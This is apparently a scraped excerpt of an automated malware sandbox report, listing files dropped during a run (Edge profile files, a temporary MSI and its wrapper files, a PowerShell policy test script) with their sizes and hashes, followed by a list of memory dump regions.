8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
eaf31de15dea025f92548c0cd80bf1a5

SHA1
8ee87952c0b3ea95f7f17236e10a53c20184fabd

SHA256
e79639fab590019f4486f22ee0a599ecf180c0872ca6e21a2658f5f19507033f

SHA512
82bf4805e097e66b953d67ccf42d5611d8dc765d2e9f6b77bf09ec60948a6dbc4acee7cd0ee635a8262de34133ee9baa26731c482177fbd9194ff6c33a3e8669

Download Submit
C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi

Filesize
2.1MB

MD5
c8c7e377611b06bf98d17c846945df3c

SHA1
92294a125dd1e8c3f69e5bfcf454f980f15ddb9f

SHA256
f8edc2c21a5e5ff3c91eb85ce8f706c1cc655e7c940e99d046e400932f8d6183

SHA512
97f19b47957d19eac2585945d32807df717f49012fb8cb39246212292258600971e510bf44e9fee29e55d84545056ac07b6b6a43ace2b8ad4bb7f1769eb3a7ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-8e69762f-b615-4fb1-a546-2c4b134267b2\files.cab

Filesize
1.8MB

MD5
c938fe0076583b3216934adf74b983e9

SHA1
efcea2278fe2a4ab891c604db4cba3e919fd31c3

SHA256
27c95e758b3c590c16e36e7ddf57e9c6c5e66d52ad7bc7b710f038b3777a18bf

SHA512
68de0882ea8e022218e9a21d375f0c4e28cd7ca3a54f7f8162fad917e2e505c6ffae0f4a1b029b5bf6ce68ea76f78ebbd5f33abcf93893a43912cb3c9ff479f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-8e69762f-b615-4fb1-a546-2c4b134267b2\msiwrapper.ini

Filesize
1KB

MD5
ff3ad8dea7eb079f48b343e2b761ff50

SHA1
0ec8aa4990103a6612fdb23e2e9175365cc4dccc

SHA256
49ae496865af2eb22520c300d9f93a21d8fa8039bd438374f616e4291e416af9

SHA512
7277e567af46464cb4d24c31052d57a090ede0928bce17f25da8d4c4fa31f1a0a78d4d175214396a3469539ab333d5ddfce769e59fc0c3f29f8a340459982377

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-8e69762f-b615-4fb1-a546-2c4b134267b2\msiwrapper.ini

Filesize
1KB

MD5
f7db3de3b19ecd9a08d93f116982dc90

SHA1
b2c7c9aa1d74a129c562e4addb742d57553e70f7

SHA256
4fc68c56ee8bb83b246fee04eb91a63d419a2fb31420305e834d0860e4a3ff48

SHA512
7990381338101a5556948a0e3ad686234859c0c798aa4b07e4cbf9b748a5f564e801002d1dc6d32a64c0e250769aa64153eda8e32e038c10846e6dbe3f5df62d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hgvllnvd.v0m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Installer\MSIA558.tmp

Filesize
208KB

MD5
0c8921bbcc37c6efd34faf44cf3b0cb5

SHA1
dcfa71246157edcd09eecaf9d4c5e360b24b3e49

SHA256
fd622cf73ea951a6de631063aba856487d77745dd1500adca61902b8dde56fe1

SHA512
ed55443e20d40cca90596f0a0542fa5ab83fe0270399adfaafd172987fb813dfd44ec0da0a58c096af3641003f830341fe259ad5bce9823f238ae63b7e11e108

Download Submit
memory/64-192-0x0000000005FB0000-0x0000000006016000-memory.dmp

Filesize
408KB

Download
memory/64-206-0x0000000007890000-0x00000000078C2000-memory.dmp

Filesize
200KB

Download
memory/64-191-0x00000000056E0000-0x0000000005702000-memory.dmp

Filesize
136KB

Download
memory/64-188-0x0000000002D70000-0x0000000002DA6000-memory.dmp

Filesize
216KB

Download
memory/64-193-0x0000000006020000-0x0000000006086000-memory.dmp

Filesize
408KB

Download
memory/64-227-0x0000000007C30000-0x0000000007C38000-memory.dmp

Filesize
32KB

Download
memory/64-203-0x0000000006190000-0x00000000064E4000-memory.dmp

Filesize
3.3MB

Download
memory/64-205-0x00000000066C0000-0x000000000670C000-memory.dmp

Filesize
304KB

Download
memory/64-204-0x0000000006680000-0x000000000669E000-memory.dmp

Filesize
120KB

Download
memory/64-207-0x000000006E9C0000-0x000000006EA0C000-memory.dmp

Filesize
304KB

Download
memory/64-217-0x0000000006C50000-0x0000000006C6E000-memory.dmp

Filesize
120KB

Download
memory/64-189-0x00000000058D0000-0x0000000005EF8000-memory.dmp

Filesize
6.2MB

Download
memory/64-218-0x00000000078D0000-0x0000000007973000-memory.dmp

Filesize
652KB

Download
memory/64-219-0x0000000008000000-0x000000000867A000-memory.dmp

Filesize
6.5MB

Download
memory/64-220-0x00000000079B0000-0x00000000079CA000-memory.dmp

Filesize
104KB

Download
memory/64-221-0x0000000007A10000-0x0000000007A1A000-memory.dmp

Filesize
40KB

Download
memory/64-222-0x0000000007C40000-0x0000000007CD6000-memory.dmp

Filesize
600KB

Download
memory/64-223-0x0000000007BB0000-0x0000000007BC1000-memory.dmp

Filesize
68KB

Download
memory/64-224-0x0000000007BE0000-0x0000000007BEE000-memory.dmp

Filesize
56KB

Download
memory/64-225-0x0000000007BF0000-0x0000000007C04000-memory.dmp

Filesize
80KB

Download
memory/64-226-0x0000000007D00000-0x0000000007D1A000-memory.dmp

Filesize
104KB

Download
memory/1712-184-0x0000000010000000-0x0000000010738000-memory.dmp

Filesize
7.2MB

Download